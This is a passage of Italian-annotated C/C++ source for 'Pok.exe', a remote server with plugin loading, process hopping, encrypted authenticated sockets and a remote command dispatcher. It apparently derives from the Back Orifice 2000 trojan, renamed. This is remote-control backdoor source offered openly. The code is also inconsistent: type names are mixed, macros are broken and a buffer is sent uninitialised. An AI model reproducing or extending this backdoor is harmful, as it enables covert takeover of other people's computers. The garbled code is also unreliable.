PPERF_OBJECT    FindObject (PPERF_DATA pData, DWORD TitleIndex); 

PPERF_OBJECT    FindObjectN (PPERF_DATA pData, DWORD N); 

PPERF_INSTANCE  FirstInstance (PPERF_OBJECT pObject); 

PPERF_INSTANCE  NextInstance (PPERF_INSTANCE pInst); 

PPERF_INSTANCE  FindInstanceN (PPERF_OBJECT pObject, DWORD N); 

PPERF_INSTANCE  FindInstanceParent (PPERF_INSTANCE pInst, PPERF_DATA pData); 

LPTSTR          InstanceName (PPERF_INSTANCE pInst); 

PPERF_COUNTER   FirstCounter (PPERF_OBJECT pObject); 

PPERF_COUNTER   NextCounter (PPERF_COUNTER pCounter); 

PPERF_COUNTER   FindCounter (PPERF_OBJECT pObject, DWORD TitleIndex); 

PVOID           CounterData (PPERF_INSTANCE pInst, PPERF_COUNTER pCount); 

#endif

/*  file plugins.h */

#ifndef __INC_PLUGINS_H

#define __INC_PLUGINS_H

#include<bocomreg.h>

#include<auth.h>

#include<encryption.h>

#include<iohandler.h>

#include<pviewer.h>

#define WM_CHILD_DESTROYED (WM_USER+1)

#pragma pack(push,1)

typedef struct {


WORD nNumPlugins;

} ATTACHMENT_HEADER, *PATTACHMENT_HEADER;

typedef struct {


DWORD dwPluginSize;

} ATTACHMENT_INDEX, *PATTACHMENT_INDEX;

#pragma pack(pop)

struct __plugin_version;

struct __plugin_linkage;

typedef BOOL (TYPEOF_InstallPlugin)(struct __plugin_linkage *ppl);

typedef BOOL (TYPEOF_PluginVersion)(struct __plugin_version *ppv);

typedef void (TYPEOF_TerminatePlugin)(void);

typedef int TYPEOF_AddPlugin(void *pPlugin, int nSize);

typedef int TYPEOF_DebugPlugin(const char *svPluginFile);

typedef int TYPEOF_RemovePlugin(int nNum);

typedef HMODULE TYPEOF_GetPlugin(int nNum);

#ifdef __pokSERVER__

void LoadPlugins(void);

void UnloadPlugins(void);

int AddPlugin(void *pPlugin, int nSize);

int DebugPlugin(const char *svPluginFile);

HMODULE GetPlugin(int nNum);

int RemovePlugin(int nNum);

#endif

#endif

/*  files process_hop.h */

#ifndef __INC_PROCESS_HOP_H

#define __INC_PROCESS_HOP_H

#include<windows.h>

BOOL SpawnpokThread(const char *svProcess);

void SpawnCleanup(void);

#endif

/*  pviewdat.h . */

#ifndef __INC_PVIEWDAT_H

#define __INC_PVIEWDAT_H

#include<windows.h>

#include<winperf.h>

#define PN_PROCESS                                

TEXT("Processo") 

#define PN_PROCESS_CPU                      

TEXT("% Tempo impegno Processore") 

#define PN_PROCESS_PRIV                    
 
TEXT("% Tempo impegnato da processi privilegiati") 

#define PN_PROCESS_USER                     

TEXT("% Tempo Utente”) 

#define PN_PROCESS_WORKING_SET              
TEXT("Insieme dei lavori") 

#define PN_PROCESS_PEAK_WS                  
TEXT("Imposta picchi lavoro") 

#define PN_PROCESS_PRIO                     

TEXT("Priority Base") 

#define PN_PROCESS_ELAPSE                   
TEXT("Tempo Trascorso") 

#define PN_PROCESS_ID                       

TEXT("ID Process") 

#define PN_PROCESS_PRIVATE_PAGE             
TEXT("Byte Privati") 

#define PN_PROCESS_VIRTUAL_SIZE            
 TEXT("Virtual Bytes") 

#define PN_PROCESS_PEAK_VS                  
TEXT("Virtual Bytes Peak") 

#define PN_PROCESS_FAULT_COUNT              
TEXT("Malfunzionamento tempo pagina") 

#define PN_THREAD                           

TEXT("Thread") 

#define PN_THREAD_CPU                       

TEXT("%Tempo impegno Processore ") 

#define PN_THREAD_PRIV                      

TEXT("%Tempo impegnato da processi privilegiati ") 

#define PN_THREAD_USER                      

TEXT("%Tempo Utente ") 

#define PN_THREAD_START                    
TEXT("Avvia indirizzo")

#define PN_THREAD_SWITCHES                  
TEXT("Commutazione contesto /sec") 

#define PN_THREAD_PRIO                      

TEXT("Priorità corrente") 

#define PN_THREAD_BASE_PRIO                 
TEXT("Priorità Base") 

#define PN_THREAD_ELAPSE                    
TEXT("Tempo Trascorso ") 

#define PN_THREAD_ID


TEXT("ID Thread") 

#define PN_THREAD_DETAILS                   
TEXT("Trattamento dettagli") 

#define PN_THREAD_PC                        

TEXT("PC Utente") 

#define PN_IMAGE                            


TEXT("Immagine") 

#define PN_IMAGE_NOACCESS                   

TEXT("Accesso negato") 

#define PN_IMAGE_READONLY                 

TEXT("Sola lettura") 

#define PN_IMAGE_READWRITE                 

TEXT("Lettura/scrittura") 

#define PN_IMAGE_WRITECOPY                  

TEXT("Scrivi copis") 

#define PN_IMAGE_EXECUTABLE                 

TEXT("Eseguibile") 

#define PN_IMAGE_EXE_READONLY               

TEXT("Esegui solo lettura") 

#define PN_IMAGE_EXE_READWRITE             

TEXT("esegui lettura/scrittura") 

#define PN_IMAGE_EXE_WRITECOPY              

TEXT("Esegui copia scrittura") 

#define PN_PROCESS_ADDRESS_SPACE            

TEXT("Area indirizzi processi") 

#define PN_PROCESS_PRIVATE_NOACCESS        
TEXT("Accesso negato allo spazio riservato") 

#define PN_PROCESS_PRIVATE_READONLY         
TEXT("Spazio riservato sola lettura") 

#define PN_PROCESS_PRIVATE_READWRITE        
TEXT("spazio") 

#define PN_PROCESS_PRIVATE_WRITECOPY        
TEXT("Spazio riservato copia scrittura") 

#define PN_PROCESS_PRIVATE_EXECUTABLE      
TEXT("spazio riservato per eseguibile") 

#define PN_PROCESS_PRIVATE_EXE_READONLY     
TEXT("Spazio riservato eseguibile solo lettura") 

#define PN_PROCESS_PRIVATE_EXE_READWRITE    
TEXT("Spazio riservato eseguibile in lettura scrittura") 

#define PN_PROCESS_PRIVATE_EXE_WRITECOPY    
TEXT("Spazio riservato copia eseguibile") 

#define PN_PROCESS_MAPPED_NOACCESS          
TEXT("Spazio mappato non accessibile") 

#define PN_PROCESS_MAPPED_READONLY          
TEXT("Spazio mappato sola scrittura") 

#define PN_PROCESS_MAPPED_READWRITE         
TEXT("Spazio mappato lettura scrittura") 

#define PN_PROCESS_MAPPED_WRITECOPY         
TEXT("Spazio mappato scrittura copia") 

#define PN_PROCESS_MAPPED_EXECUTABLE        
TEXT("Spazio mappato eseguibile") 

#define PN_PROCESS_MAPPED_EXE_READONLY      
TEXT("Spazio mappato eseguibile solo lettura") 

#define PN_PROCESS_MAPPED_EXE_READWRITE     
TEXT("Spazio mappato eseguibile lettura scrittura") 

#define PN_PROCESS_MAPPED_EXE_WRITECOPY     
TEXT("Spazio mappato eseguibile scrittura copia") 

#define PN_PROCESS_IMAGE_NOACCESS           
TEXT("Spazio immagine No Access") 

#define PN_PROCESS_IMAGE_READONLY           
TEXT("Spazio immagine sola lettura") 

#define PN_PROCESS_IMAGE_READWRITE          
TEXT("Spazio immagine lettura scrittura") 

#define PN_PROCESS_IMAGE_WRITECOPY          
TEXT("Spazio immagine scrittura copia") 

#define PN_PROCESS_IMAGE_EXECUTABLE         
TEXT("Spazio immagine eseguibile") 

#define PN_PROCESS_IMAGE_EXE_READONLY       
TEXT("Spazio immagine eseguibile sola lettura") 

#define PN_PROCESS_IMAGE_EXE_READWRITE      
TEXT("Spazio immagine eseguibile lettura scrittura") 

#define PN_PROCESS_IMAGE_EXE_WRITECOPY      
TEXT("Spazio immagine eseguibile scrittura copia") 

DWORD   PX_PROCESS; 

DWORD   PX_PROCESS_CPU; 

DWORD   PX_PROCESS_PRIV; 

DWORD   PX_PROCESS_USER; 

DWORD   PX_PROCESS_WORKING_SET; 

DWORD   PX_PROCESS_PEAK_WS; 

DWORD   PX_PROCESS_PRIO; 

DWORD   PX_PROCESS_ELAPSE; 

DWORD   PX_PROCESS_ID; 

DWORD   PX_PROCESS_PRIVATE_PAGE; 

DWORD   PX_PROCESS_VIRTUAL_SIZE; 

DWORD   PX_PROCESS_PEAK_VS; 

DWORD   PX_PROCESS_FAULT_COUNT; 

DWORD   PX_PROCESS_PAGED_POOL_QUOTA; 

DWORD   PX_PROCESS_PEAK_PAGED_POOL_QUOTA; 

DWORD   PX_PROCESS_NONPAGED_POOL_QUOTA; 

DWORD   PX_PROCESS_PEAK_PAGED_POOL; 

DWORD   PX_PROCESS_PEAK_NONPAGED_POOL; 

DWORD   PX_PROCESS_CUR_PAGED_POOL; 

DWORD   PX_PROCESS_CUR_NONPAGED_POOL; 

DWORD   PX_PROCESS_PAGED_POOL_LIMIT; 

DWORD   PX_PROCESS_NONPAGED_POOL_LIMIT; 

DWORD   PX_THREAD; 

DWORD   PX_THREAD_CPU; 

DWORD   PX_THREAD_PRIV; 

DWORD   PX_THREAD_USER; 

DWORD   PX_THREAD_START; 

DWORD   PX_THREAD_SWITCHES; 

DWORD   PX_THREAD_PRIO; 

DWORD   PX_THREAD_BASE_PRIO; 

DWORD   PX_THREAD_ELAPSE; 

DWORD
PX_THREAD_ID; 

DWORD   PX_THREAD_DETAILS; 

DWORD   PX_THREAD_PC; 

DWORD   PX_IMAGE; 

DWORD   PX_IMAGE_NOACCESS; 

DWORD   PX_IMAGE_READONLY; 

DWORD   PX_IMAGE_READWRITE; 

DWORD   PX_IMAGE_WRITECOPY; 

DWORD   PX_IMAGE_EXECUTABLE; 

DWORD   PX_IMAGE_EXE_READONLY; 

DWORD   PX_IMAGE_EXE_READWRITE; 

DWORD   PX_IMAGE_EXE_WRITECOPY; 

DWORD   PX_PROCESS_ADDRESS_SPACE; 

DWORD   PX_PROCESS_PRIVATE_NOACCESS; 

DWORD   PX_PROCESS_PRIVATE_READONLY; 

DWORD   PX_PROCESS_PRIVATE_READWRITE; 

DWORD   PX_PROCESS_PRIVATE_WRITECOPY; 

DWORD   PX_PROCESS_PRIVATE_EXECUTABLE; 

DWORD   PX_PROCESS_PRIVATE_EXE_READONLY; 

DWORD   PX_PROCESS_PRIVATE_EXE_READWRITE; 

DWORD   PX_PROCESS_PRIVATE_EXE_WRITECOPY; 

DWORD   PX_PROCESS_MAPPED_NOACCESS; 

DWORD   PX_PROCESS_MAPPED_READONLY; 

DWORD   PX_PROCESS_MAPPED_READWRITE; 

DWORD   PX_PROCESS_MAPPED_WRITECOPY; 

DWORD   PX_PROCESS_MAPPED_EXECUTABLE; 

DWORD   PX_PROCESS_MAPPED_EXE_READONLY; 

DWORD   PX_PROCESS_MAPPED_EXE_READWRITE; 

DWORD   PX_PROCESS_MAPPED_EXE_WRITECOPY; 

DWORD   PX_PROCESS_IMAGE_NOACCESS; 

DWORD   PX_PROCESS_IMAGE_READONLY; 

DWORD   PX_PROCESS_IMAGE_READWRITE; 

DWORD   PX_PROCESS_IMAGE_WRITECOPY; 

DWORD   PX_PROCESS_IMAGE_EXECUTABLE; 

DWORD   PX_PROCESS_IMAGE_EXE_READONLY; 

DWORD   PX_PROCESS_IMAGE_EXE_READWRITE; 

DWORD   PX_PROCESS_IMAGE_EXE_WRITECOPY; 

#endif

/*  file strhandle.h */

#ifndef __INC_STRHANDLE_H

#define __INC_STRHANDLE_H

int cpynstr(char *svDest, const char *svSrc, int nMaxCount);

char *BreakString(char *svLines, char *svTok);

char *UnescapeString(char *svStr);

char *EscapeString(const char *svStr);

#endif

Sezione di esposizione codici sorgenti *.CPP. (Pok.exe)

Sorgenti delle principali funzioni di Pok.exe (server remoto)

/*  file auth.cpp */

// Command Input/Output Interface

#include<stdlib.h> // To define NULL

#include<string.h>

#include<auth.h>

#include<iohandler.h>

#include<encryption.h>

#include<commnet.h>

#ifndef WIN32

#define strnicmp strncasecmp

#endif

extern CIOHandler *g_pIOHandler;

extern CEncryptionHandler *g_pEncryptionHandler;

extern CAuthHandler *g_pAuthHandler;

CAuthHandler::CAuthHandler()

{


int i;


for(i=0;i<MAX_AUTH_HANDLERS;i++)



m_AuthHandler[i]=INVALID_AUTH_HANDLER;

}

CAuthHandler::~CAuthHandler()

{


int i;


for(i=0;i<MAX_AUTH_HANDLERS;i++) {



if(m_AuthHandler[i]!=INVALID_AUTH_HANDLER) {




m_AuthHandler[i]->pRemove();




m_AuthHandler[i]=INVALID_AUTH_HANDLER;



}


}

}

int CAuthHandler::Insert(AUTH_HANDLER *handler)

{



int i;


if(handler->pInsert==NULL) return -1;


if(handler->pInsert()==-1) return -1;


for(i=0;i<MAX_AUTH_HANDLERS;i++) {



if(m_AuthHandler[i]==INVALID_AUTH_HANDLER) break;


}


if(i==MAX_AUTH_HANDLERS) return -1;


m_AuthHandler[i]=handler;


return i;

}

int CAuthHandler::GetHandlerCount(void)

{


int count,i;


count=0;


for(i=0;i<MAX_AUTH_HANDLERS;i++) {



if(m_AuthHandler[i]!=INVALID_AUTH_HANDLER) count++;


}


return count;

}

AUTH_HANDLER *CAuthHandler::GetHandler(int nHandler)

{


if(nHandler<0 || nHandler>=MAX_AUTH_HANDLERS) return NULL;


return m_AuthHandler[nHandler];

}

AUTH_HANDLER *CAuthHandler::GetHandlerByID(const char *svID)

{


int i;


for(i=0;i<MAX_AUTH_HANDLERS;i++) {



char *svQuery=Query(i);



if(svQuery!=NULL) {




if(strnicmp(svQuery,svID,min(strlen(svID),strlen(svQuery)))==0)





return m_AuthHandler[i];



}


}


return NULL;

}

char *CAuthHandler::Query(int nHandler)

{


if(nHandler<0 || nHandler>=MAX_AUTH_HANDLERS) return NULL;


if(m_AuthHandler[nHandler]==INVALID_AUTH_HANDLER) return NULL;


if(m_AuthHandler[nHandler]->pQuery==NULL) return NULL;


return m_AuthHandler[nHandler]->pQuery();

}

int CAuthHandler::Remove(int nHandler)

{


int ret;


if(nHandler<0 || nHandler>=MAX_AUTH_HANDLERS) return -1;


if(m_AuthHandler[nHandler]==INVALID_AUTH_HANDLER) return -1;


if(m_AuthHandler[nHandler]->pRemove==NULL) return -1;


ret=m_AuthHandler[nHandler]->pRemove();


m_AuthHandler[nHandler]=INVALID_AUTH_HANDLER;


return ret;

}

CAuthSocket::CAuthSocket(AUTH_HANDLER *pHandler, IO_HANDLER *pIOH, ENCRYPTION_ENGINE *pEE)

{


m_pHandler=pHandler;


m_pIOH=pIOH;


m_pEE=pEE;


m_pEnc=NULL;


m_pSock=NULL;


m_pData=NULL;

}

CAuthSocket::~CAuthSocket()

{


if(m_pEnc!=NULL) delete m_pEnc;


if(m_pSock!=NULL) delete m_pSock;

}

int CAuthSocket::Listen(const char *svTarget, int nUserId)

{


m_pSock=new CIOSocket(m_pIOH);


if(m_pSock!=NULL) {



m_pEnc=new CEncryptionEngine(m_pEE);



if(m_pEnc!=NULL) {




if(m_pSock->Listen(svTarget)==0) {





if(m_pEnc->Startup()==0) {






if(m_pHandler->pOnListen==NULL) return 0;






m_pData=m_pHandler->pOnListen(m_pSock, m_pEnc, nUserId);






if(m_pData!=NULL) return 0;






m_pEnc->Shutdown();





}





m_pSock->Close();




}




delete m_pEnc;




m_pEnc=NULL;



}



delete m_pSock;



m_pSock=NULL;


}


return -1;

}

int CAuthSocket::Connect(const char *svTarget, int nUserId)

{


m_pSock=new CIOSocket(m_pIOH);


if(m_pSock!=NULL) {



m_pEnc=new CEncryptionEngine(m_pEE);



if(m_pEnc!=NULL) {




if(m_pSock->Connect(svTarget)==0) {





if(m_pEnc->Startup()==0) {






if(m_pHandler->pOnConnect==NULL) return 0;






m_pData=m_pHandler->pOnConnect(m_pSock, m_pEnc, nUserId);






if(m_pData!=NULL) return 0;






m_pEnc->Shutdown();





}





m_pSock->Close();




}




delete m_pEnc;




m_pEnc=NULL;



}



delete m_pSock;



m_pSock=NULL;


}


return -1;

}

CAuthSocket *CAuthSocket::Accept(void)

{


CIOSocket *acc_ios=m_pSock->Accept();


if(acc_ios!=NULL) {



CAuthSocket *cas;



cas=new CAuthSocket(m_pHandler, m_pIOH, m_pEE);



if(cas!=NULL) {




cas->m_pSock=acc_ios;




cas->m_pEnc=new CEncryptionEngine(cas->m_pEE);




if(cas->m_pEnc!=NULL) {





if(cas->m_pEnc->Startup()==0) {






if(m_pHandler->pOnAccept==NULL) return cas;






cas->m_pData=m_pHandler->pOnAccept(m_pData,cas->m_pSock, cas->m_pEnc);






if(cas->m_pData!=NULL) return cas;






cas->m_pEnc->Shutdown();





}





delete cas->m_pEnc;





cas->m_pEnc=NULL;




}




cas->m_pSock=NULL;




delete cas;



}



acc_ios->Close();



delete acc_ios;


}


return NULL;

}

int CAuthSocket::Close(void)

{


if(m_pSock && m_pSock->Close()==-1) return -1;


delete m_pSock;


m_pSock=NULL;


if(m_pEnc && m_pEnc->Shutdown()==-1) return -1;


delete m_pEnc;


m_pEnc=NULL;


if(m_pHandler && m_pHandler->pOnClose(m_pData)==-1) return -1;


m_pHandler=NULL;


m_pData=NULL;


return 0;

}


int CAuthSocket::Recv(BYTE **pInData, int *pnInDataLen)

{


BYTE *pin;


int inlen;


int ret;


ret=m_pSock->Recv(&pin,&inlen);


if(ret==0) 



return 0;


if(ret<0) 



return -1;


if(m_pHandler->pOnRecv(m_pData,m_pEnc,pin,inlen,pInData,pnInDataLen)==-1) 



ret=-1;


m_pSock->Free(pin);


return ret;

}

int CAuthSocket::Send(BYTE *pData, int nDataLen)

{


BYTE *pOutData;


int  nOutDataLen,ret;


if(m_pHandler->pOnSend(m_pData,m_pEnc,pData,nDataLen,&pOutData,&nOutDataLen)==-1)



return -1;


ret=m_pSock->Send(pOutData,nOutDataLen);


m_pHandler->pFree(m_pData, pOutData);


return ret;

}

void CAuthSocket::Free(BYTE *pBuffer)

{


m_pHandler->pFree(m_pData,pBuffer);

}

int CAuthSocket::GetUserID(void)

{


return m_pHandler->pGetUserID(m_pData);

}

AUTH_HANDLER *CAuthSocket::GetAuthHandler(void)

{


return m_pHandler;

}

int CAuthSocket::GetRemoteAddr(char *svAddr,int nMaxLen)

{


return m_pSock->GetRemoteAddr(svAddr,nMaxLen);

}

int CAuthSocket::GetConnectAddr(char *svAddr, int nMaxLen)

{


return m_pSock->GetConnectAddr(svAddr,nMaxLen);

}

/*  bocomreg.cpp */

// pok Command Dispatcher

#include<windows.h>

#include<pokcomreg.h>

#include<dll_load.h>

#include<commandloop.h>

#include<main.h>

BO_CMD_HANDLER *command_handler_table=NULL;

BO_CMD_DESC *command_description_table=NULL;

HANDLE g_hDispatchMutex=NULL;

int CmdProc_Query(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3);

int InitializeCommandDispatcher(void)

{


int i;


command_handler_table=(pok_CMD_HANDLER *)malloc(sizeof(pok_CMD_HANDLER)*MAX_pok_COMMANDS);


if(command_handler_table==NULL) return -1;


command_description_table=(pok_CMD_DESC *)malloc(sizeof(pok_CMD_DESC)*MAX_pok_COMMANDS);


if(command_description_table==NULL) return -1;


for(i=0;i<MAX_pok_COMMANDS;i++) {



command_handler_table[i]=NULL;


}


g_hDispatchMutex=CreateMutex(NULL,FALSE,NULL);


if(g_hDispatchMutex==NULL) return -1;


RegisterCommand(CmdProc_Query,"Simple","Query",NULL,NULL,NULL);


command_description_table[0].bNativeComm=TRUE;



return 0;

}

int KillCommandDispatcher(void)

{


UnregisterCommand(0);


CloseHandle(g_hDispatchMutex);


if(command_handler_table) free(command_handler_table);



if(command_description_table) free(command_description_table);



return 0;

}

int RegisterCommand(pok_CMD_HANDLER handler, char *svFolderName, char *svCommName, char *svArgDesc1, char *svArgDesc2, char *svArgDesc3)

{


int i;


for(i=0;i<MAX_pok_COMMANDS;i++) {



if(command_handler_table[i]==INVALID_CMD_HANDLER) break;


}


if(i==MAX_pok_COMMANDS) return -1;


command_handler_table[i]=handler;


command_description_table[i].svCommName=svCommName;


command_description_table[i].svFolderName=svFolderName;


command_description_table[i].svArgDesc1=svArgDesc1;


command_description_table[i].svArgDesc2=svArgDesc2;


command_description_table[i].svArgDesc3=svArgDesc3;


command_description_table[i].bNativeComm=FALSE;


return i;

}

int UnregisterCommand(int command)

{


if(command<0 || command>=MAX_BO_COMMANDS) return -1;


if(command_handler_table[command]==INVALID_CMD_HANDLER) return -1;


command_handler_table[command]=INVALID_CMD_HANDLER;


command_description_table[command].bNativeComm=FALSE;


return 0;

}

int DispatchCommand(int command, CAuthSocket *cas_from, int comid, int nArg1, char *svArg2, char *svArg3)

{


pok_CMD_HANDLER handler;


int ret;


if(WaitForSingleObject(g_hDispatchMutex,INFINITE)!=WAIT_OBJECT_0) {



return -1;


}


if(cas_from->GetAuthHandler()->pValidateCommand(cas_from->GetUserID(), command)==FALSE) {



ReleaseMutex(g_hDispatchMutex);



return -1;


}


handler=command_handler_table[command];


if(handler==INVALID_CMD_HANDLER) {



ReleaseMutex(g_hDispatchMutex);



return -1;


}


ret=handler(cas_from, comid, nArg1, svArg2, svArg3);


ReleaseMutex(g_hDispatchMutex);


return ret;

}

int CmdProc_Query(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)

{


int i;


char svLine[512];


PIMAGE_OPTIONAL_HEADER poh;


poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(g_module);

IssueAuthCommandReply(cas_from, comid, 1, svLine);

IssueAuthCommandReply(cas_from, comid, 1, "--> Espansione comandi:\n");


for(i=0;i<MAX_pok_COMMANDS;i++) {



if(command_handler_table[i]!=NULL) {




if(command_description_table[i].bNativeComm==FALSE) {





char *svA1, *svA2, *svA3;





svA1=command_description_table[i].svArgDesc1;





if(svA1==NULL) svA1="";





svA2=command_description_table[i].svArgDesc2;





if(svA2==NULL) svA2="";





svA3=command_description_table[i].svArgDesc3;





if(svA3==NULL) svA3="";





wsprintf(svLine,"(%d) %.64s\\%.64s|%.64s|%.64s|%.64s\n", i,






command_description_table[i].svFolderName,






command_description_table[i].svCommName,






svA1,






svA2,






svA3);





IssueAuthCommandReply(cas_from, comid, 1,svLine);




}



}


}


IssueAuthCommandReply(cas_from, comid, 1, "--> Fine dei comandi estesi\n\n");


IssueAuthCommandReply(cas_from, comid, 1, "-->Manipolatori IO :\n");


for(i=0;i<MAX_IO_HANDLERS;i++) {



char *svQuery;



if((svQuery=g_pIOHandler->Query(i))!=NULL) {




wsprintf(svLine,"(%d) %.100s\n",i,svQuery);




IssueAuthCommandReply(cas_from, comid, 1, svLine);



}


}


IssueAuthCommandReply(cas_from, comid, 1, "--> Fine manipolatore IO:\n\n");


IssueAuthCommandReply(cas_from, comid, 1, "--> Criptatura manipolatore:\n");


for(i=0;i<MAX_IO_HANDLERS;i++) {



char *svQuery;



if((svQuery=g_pEncryptionHandler->Query(i))!=NULL) {




wsprintf(svLine,"(%d) %.100s\n",i,svQuery);




IssueAuthCommandReply(cas_from, comid, 1, svLine);



}


}


IssueAuthCommandReply(cas_from, comid, 1, "--> Fine criptatura dei manipolari\n\n");


// Manipolatore Autore programma


IssueAuthCommandReply(cas_from, comid, 1, "--> Manipolatore Autore:\n");


for(i=0;i<MAX_AUTH_HANDLERS;i++) {



char *svQuery;



if((svQuery=g_pAuthHandler->Query(i))!=NULL) {




wsprintf(svLine,"(%d) %.100s\n",i,svQuery);




IssueAuthCommandReply(cas_from, comid, 1, svLine);



}


}


IssueAuthCommandReply(cas_from, comid, 1, "--> fine manipolatore autore:\n\n");


IssueAuthCommandReply(cas_from, comid, 0, "");


return 0;

}

/*  file clzhcompress.cpp. */

#include<windows.h>

#include<limits.h>

#include<lzhcompress.h>

void CLzhCompress::InitTree(void)  /* inizializza albero */

{

    short  i;

    for (i = N + 1; i <= N + 256; i++)

        rson[i] = NIL;        /* radice */

    for (i = 0; i < N; i++)

        dad[i] = NIL;         /* nodo*/

}

void CLzhCompress::InsertNode(short r)  /* inserimento nell’albero*/
{

    short  i, p, cmp;

    unsigned char  *key;

    unsigned c;

    cmp = 1;

    key = &text_buf[r];

    p = N + 1 + key[0];

    rson[r] = lson[r] = NIL;

    match_length = 0;

    for(;;) {

        if (cmp >= 0) {

            if (rson[p] != NIL)

                p = rson[p];

            else {

                rson[p] = r;

                dad[r] = p;

                return;

            }

        } else {

            if (lson[p] != NIL)

                p = lson[p];

            else {

                lson[p] = r;

                dad[r] = p;

                return;

            }

        }

        for (i = 1; i < F; i++)

            if ((cmp = key[i] - text_buf[p + i]) != 0)

                break;




if (i > THRESHOLD) {





if (i > match_length) {






match_position = ((r - p) & (N - 1)) - 1;






if ((match_length = i) >= F)







break;





}





if (i == match_length) {






if ((c = ((r - p) & (N-1)) - 1) < (WORD)match_position) {







match_position = c;






}





}




}

    }

    dad[r] = dad[p];

    lson[r] = lson[p];

    rson[r] = rson[p];

    dad[lson[p]] = r;

    dad[rson[p]] = r;

    if (rson[dad[p]] == p)

        rson[dad[p]] = r;

    else

        lson[dad[p]] = r;

    dad[p] = NIL; /* rilascia puntatore p */

}

void CLzhCompress::DeleteNode(short p)  /* rimuove elemento dall’albero */

{

    short  q;

    if (dad[p] == NIL)

        return;         /* non registarto */

    if (rson[p] == NIL)

        q = lson[p];

    else {



if (lson[p] == NIL)




q = rson[p];



else {




q = lson[p];




if (rson[q] != NIL) {





do {






q = rson[q];





} while (rson[q] != NIL);





rson[dad[q]] = lson[q];





dad[lson[q]] = dad[q];





lson[q] = lson[p];





dad[lson[p]] = q;




}




rson[q] = rson[p];




dad[rson[p]] = q;



}


}


dad[q] = dad[p];


if (rson[dad[p]] == p)



rson[dad[p]] = q;


else



lson[dad[p]] = q;


dad[p] = NIL;

}

/*Codice di  Huffman  riconoscimento stringhe*/

/* matrice di codifica e decodifica  maggiori 6 bits di posizione */

/* per la codifica */

BYTE p_len[64] = {

    0x03, 0x04, 0x04, 0x04, 0x05, 0x05, 0x05, 0x05,



0x05, 0x05, 0x05, 0x05, 0x06, 0x06, 0x06, 0x06,



0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06,



0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07,



0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07,



0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07,



0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08,



0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08

};

BYTE p_code[64] = {

    0x00, 0x20, 0x30, 0x40, 0x50, 0x58, 0x60, 0x68,



0x70, 0x78, 0x80, 0x88, 0x90, 0x94, 0x98, 0x9C,



0xA0, 0xA4, 0xA8, 0xAC, 0xB0, 0xB4, 0xB8, 0xBC,



0xC0, 0xC2, 0xC4, 0xC6, 0xC8, 0xCA, 0xCC, 0xCE,



0xD0, 0xD2, 0xD4, 0xD6, 0xD8, 0xDA, 0xDC, 0xDE,



0xE0, 0xE2, 0xE4, 0xE6, 0xE8, 0xEA, 0xEC, 0xEE,



0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,



0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF

};

/* per decodifiche */

BYTE d_code[256] = {

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,



0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,



0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,



0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,



0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,



0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,



0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,



0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,



0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03,



0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03,



0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04,



0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,



0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06,



0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07,



0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08,



0x09, 0x09, 0x09, 0x09, 0x09, 0x09, 0x09, 0x09,



0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A,



0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x0B,



0x0C, 0x0C, 0x0C, 0x0C, 0x0D, 0x0D, 0x0D, 0x0D,



0x0E, 0x0E, 0x0E, 0x0E, 0x0F, 0x0F, 0x0F, 0x0F,



0x10, 0x10, 0x10, 0x10, 0x11, 0x11, 0x11, 0x11,



0x12, 0x12, 0x12, 0x12, 0x13, 0x13, 0x13, 0x13,



0x14, 0x14, 0x14, 0x14, 0x15, 0x15, 0x15, 0x15,



0x16, 0x16, 0x16, 0x16, 0x17, 0x17, 0x17, 0x17,



0x18, 0x18, 0x19, 0x19, 0x1A, 0x1A, 0x1B, 0x1B,



0x1C, 0x1C, 0x1D, 0x1D, 0x1E, 0x1E, 0x1F, 0x1F,



0x20, 0x20, 0x21, 0x21, 0x22, 0x22, 0x23, 0x23,



0x24, 0x24, 0x25, 0x25, 0x26, 0x26, 0x27, 0x27,



0x28, 0x28, 0x29, 0x29, 0x2A, 0x2A, 0x2B, 0x2B,



0x2C, 0x2C, 0x2D, 0x2D, 0x2E, 0x2E, 0x2F, 0x2F,



0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,



0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,

};

BYTE d_len[256] = {

    0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03,



0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03,



0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03,



0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03,



0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04,



